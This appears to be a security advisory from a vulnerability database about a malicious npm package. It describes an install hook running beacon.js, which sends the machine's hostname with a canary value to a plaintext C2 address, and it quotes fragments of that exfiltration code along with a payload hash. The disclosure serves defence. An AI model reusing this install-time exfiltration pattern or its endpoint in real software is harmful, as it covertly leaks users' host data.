VDB
GCVE-110-OSM-2026-6151
GCVE-110-OSM-2026-6151
Advisory PublishedCVSS 8.8/10
Malicious package detected. Behaviors: data exfiltration, network activity, install-time execution.
ENTRY
beacon.js (install-hook: node beacon.js)
- Install Hook Executes Local JS File in package.json
DESTINATION
- custom-c2: http://173.255.233.239:8000/canary?d= (primary, plaintext) in beacon.js
- custom-c2: 173.255.233.239 (plaintext) in beacon.js
EXFIL
- Data Encoding for Exfiltration in beacon.js: "encodeURIComponent(CANARY+'|'+require('os').hostname()),r=>r.resume()).on('error..."
- Network Request in beacon.js: "http.get("
- Suspicious Domain in beacon.js: "http://173.255.233.239"
PAYLOAD FILES
beacon.js
INDICATORS (IOCs)
- payloadFileHash: 5066f448f7863ca57d414fff4a378bdd32709e826ac28d937dce422c737056d8
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | @ncurran/dc-selftest-33afb7 | all (affected) | — |
Aliases
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